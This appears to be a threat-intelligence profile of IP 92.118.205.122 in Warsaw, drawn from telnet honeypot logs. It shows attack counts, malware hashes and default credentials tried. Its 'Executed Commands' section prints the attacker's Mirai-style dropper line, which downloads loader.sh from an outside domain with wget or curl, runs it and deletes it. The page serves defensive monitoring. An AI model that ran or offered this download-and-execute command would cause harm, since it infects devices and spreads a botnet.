TROYANOSYVIRUS
Active Threat • MEDIUM

92.118.205.122

Country of Origin🇵🇱 Poland
First Detection4/18/2026
Last Activity4/18/2026
ISPBrainStorm Network, Inc
🎯
822
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
2
Malware

Geolocation

Country
🇵🇱 Poland
City
Warsaw
ASN
AS136258
ISP
BrainStorm Network, Inc

Attack Types

ssh_telnet_honeypot

Attacked Ports

23

Associated Malware

9641be11c9ed0855a453...→da41d24f215ed0146853...→

Attempted Credentials

🔐root/password
48x
🔐root/root
46x
🔐root/admin
46x
🔐root/(empty)
45x

Executed Commands

$cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget https://tg-xxooxx888.8964.mom/loader.sh -O .x 2>/dev/null || curl -s https://tg-xxooxx888.8964.mom/loader.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x46x
$echo mirai46x

Shodan InternetDB ExposureShodan

InternetDB data, not real-time

Ports
8080
CPEs
cpe:/a:f5:nginx

Risk Assessment

45
/100
LowMediumHighCritical